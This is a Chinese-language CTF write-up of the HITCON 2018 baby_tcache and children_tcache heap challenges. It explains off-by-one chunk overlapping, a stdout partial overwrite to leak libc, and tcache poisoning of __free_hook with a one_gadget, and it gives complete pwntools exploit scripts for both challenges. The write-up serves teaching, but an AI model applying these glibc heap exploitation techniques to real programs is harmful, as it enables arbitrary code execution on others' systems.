HITCON CTF 2018-babytcache childrentcache

比赛的时候没做出来,赛后对着Angelboy师傅的wp复现了一下,在这里给大家介绍一下主要思路.

babytcache

程序有一个NULL byte off by one漏洞,可以覆盖下一个堆块的size一个字节

先new三个堆块,再new 7个0xf0大小的堆块,然后free掉,好让堆块0落入unsorted bin中

new(0xf0,'a\n') #0
new(0x200,'a\n') #1
new(0xf0,'a\n')#2

for _ in range(7): 
    new(0xf0,'a\n')
for i in range(3,10):
    free(i)

free(0)

然后就是off by one,把2号堆块的size从0x101覆盖成0x100,然后free掉

free(1)
new(0x208,'a'*0x200+p64(0x310)) #index 0 原先的1号
free(2)
free(0)

此时堆块情况如下图

由于我们伪造的pre_size, chunk overlapping

8号与9号堆块均指向之前的2号堆快,此时堆中有残留的指针,我们使fd指向stdout->_flag //只需要爆破4bit

for _ in range(7): 
    new(0xf0,'a\n')

new(0xf0,'\n') #index 7

new(0x100,'\x60\x57') #index 8  from unsortedbin
new(0x200,'\n') #index 9 from tcache

再次new时,我们可以改写stdout的内容

new(0x200,p64(0xfbad3c80)+p64(0)*3 + "\x00") #overwrite stdout 
libc_base = u64(sh.recvuntil("$$")[8:16]) - 0x3ed8b0
print hex(libc_base)

可以看见puts会调用_IO_new_file_xsputn,然后调用_IO_OVERFLOW

size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
  ...
  if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)) //flag bypass
    {
      ...
    }
   ...
  if (to_do + must_flush > 0)
    {
      size_t block_size, do_write;
      if (_IO_OVERFLOW (f, EOF) == EOF)
        return to_do == 0 ? EOF : n - to_do;
  ...
}

_IO_new_file_overflow最后调用_IO_do_write将_IO_write_base上的内容输出,通过partial overwrite,将_IO_write_base指向特定区域,从而泄漏libc地址

int
_IO_new_file_overflow (FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    {
        ...
    }
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
                         f->_IO_write_ptr - f->_IO_write_base);
}

最后one_gadget 写free_hook get shell

one_gadget=libc_base+0x4f322
free_hook=libc_base+libc.symbols['__free_hook']
free(8)
free(9)
free(1)
free(2)
free(3)
free(4)
new(0x100,p64(free_hook))
new(0x100,"pwn\n")
new(0x100,p64(one_gadget))
free(1)
sh.interactive()

exp

from pwn import *

sh=process("./baby_tcache")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.log_level="debug"
def new(size,content):
    sh.recvuntil("Your choice: ")
    sh.sendline("1")
    sh.recvuntil("Size:")
    sh.sendline(str(size))
    sh.recvuntil("Data:")
    sh.send(content)


def free(index):
    sh.recvuntil("Your choice: ")
    sh.sendline("2")
    sh.recvuntil("Index:")
    sh.sendline(str(index))

gdb.attach(sh)
new(0xf0,'a\n') #0
new(0x200,'a\n') #1
new(0xf0,'a\n')#2
for _ in range(7): 
    new(0xf0,'a\n')
for i in range(3,10):
    free(i)

free(0)

free(1)
new(0x208,'a'*0x200+p64(0x310)) #index 0
free(2)
free(0)

for _ in range(7): 
    new(0xf0,'a\n')

new(0xf0,p64(0)+'c') #index 7

new(0x100,'\x60\x57') #index 8  from unsortedbin
new(0x200,'\n') #index 9 from tcache

free(0)

new(0x200,p64(0xfbad3c80)+p64(0)*3 + "\x00") #overwrite stdout 
libc_base = u64(sh.recvuntil("$$")[8:16]) - 0x3ed8b0
print hex(libc_base)
one_gadget=libc_base+0x4f322
free_hook=libc_base+libc.symbols['__free_hook']
free(8)
free(9)
free(1)
free(2)
free(3)
free(4)
new(0x100,p64(free_hook))
new(0x100,"pwn\n")
new(0x100,p64(one_gadget))
free(1)
sh.interactive()

佩服Angelboy师傅,太强了

参考

https://github.com/scwuaptx/CTF/blob/master/2018-writeup/hitcon/baby_tcache.py

children tcache

这题比较简单
前面的步骤与babytcache大同小异,chunk overlapping

new(0x100,'a\n') #0
new(0x200,'a\n') #1
new(0xf0,'a\n')#2
for _ in range(7): 
    new(0xf0,'a\n')
for i in range(3,10):
    free(i)
for _ in range(7): 
    new(0x100,'a\n')
for i in range(3,10):
    free(i)

free(0)
free(1)
new(0x208,'a'*0x208) #index 0

free(0)
new(0x207,'a'*0x207) #index 0
free(0)
new(0x206,'a'*0x206)
free(0)
new(0x205,'a'*0x205)
free(0)
new(0x204,'a'*0x204)
free(0)
new(0x203,'a'*0x203)
free(0)
new(0x202,'a'*0x200+'\x20\x03') #index 0
free(2)
free(0)

8号,9号指向的均为同一堆块,释放掉堆块,可以打印unsortedbin 的fd,泄露出libc的地址

new(0x100,'\n') #index 7

new(0x100,'\x00') #index 8
new(0x200,'\x00') #index 9

for i in range(7):
    free(i)

free(8)
leak(9)
libc_base=u64(sh.recv(6)+'\x00\x00')-4111520
print hex(libc_base)

最后one_gadget写free_hook getshell

new(0x300,'a\n') #index 8

free(9)
free(8)
new(0x300,p64(libc_base+libc.symbols['__free_hook'])) #index 8
new(0x300,'haha') #index 9

free(0)
free(1)
one_gadget=libc_base+0x4f322
new(0x300,p64(one_gadget))
free(2)
sh.interactive()

exp

from pwn import *

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh=process("./children_tcache")
#sh=remote("52.68.236.186",56746)
context.log_level="debug"
def new(size,content):
    sh.recvuntil("Your choice: ")
    sh.sendline("1")
    sh.recvuntil("Size:")
    sh.sendline(str(size))
    sh.recvuntil("Data:")
    sh.send(content)

def free(index):
    sh.recvuntil("Your choice: ")
    sh.sendline("3")
    sh.recvuntil("Index:")
    sh.sendline(str(index))

def leak(index):
    sh.recvuntil("Your choice: ")
    sh.sendline("2")
    sh.recvuntil("Index:")
    sh.sendline(str(index))

gdb.attach(sh)
new(0x100,'a\n') #0
new(0x200,'a\n') #1
new(0xf0,'a\n')#2
for _ in range(7): 
    new(0xf0,'a\n')
for i in range(3,10):
    free(i)
for _ in range(7): 
    new(0x100,'a\n')
for i in range(3,10):
    free(i)

free(0)
free(1)
new(0x208,'a'*0x208) #index 0

free(0)
new(0x207,'a'*0x207) #index 0
free(0)
new(0x206,'a'*0x206)
free(0)
new(0x205,'a'*0x205)
free(0)
new(0x204,'a'*0x204)
free(0)
new(0x203,'a'*0x203)
free(0)
new(0x202,'a'*0x200+'\x20\x03') #index 0
free(2)
free(0)

for _ in range(7): 
    new(0x100,'a\n')

new(0x100,'\n') #index 7

new(0x100,'\x00') #index 8
new(0x200,'\x00') #index 9

for i in range(7):
    free(i)

free(8)
leak(9)
libc_base=u64(sh.recv(6)+'\x00\x00')-4111520
print hex(libc_base)

for _ in range(7): 
    new(0x100,'a\n')

new(0x300,'a\n') #index 8

free(9)
free(8)
new(0x300,p64(libc_base+libc.symbols['__free_hook'])) #index 8
new(0x300,'haha') #index 9

free(0)
free(1)
one_gadget=libc_base+0x4f322
new(0x300,p64(one_gadget))
free(2)
sh.interactive()

参考

https://github.com/scwuaptx/CTF/blob/master/2018-writeup/hitcon/children_tcache.py

发表评论

This site uses Akismet to reduce spam. Learn how your comment data is processed.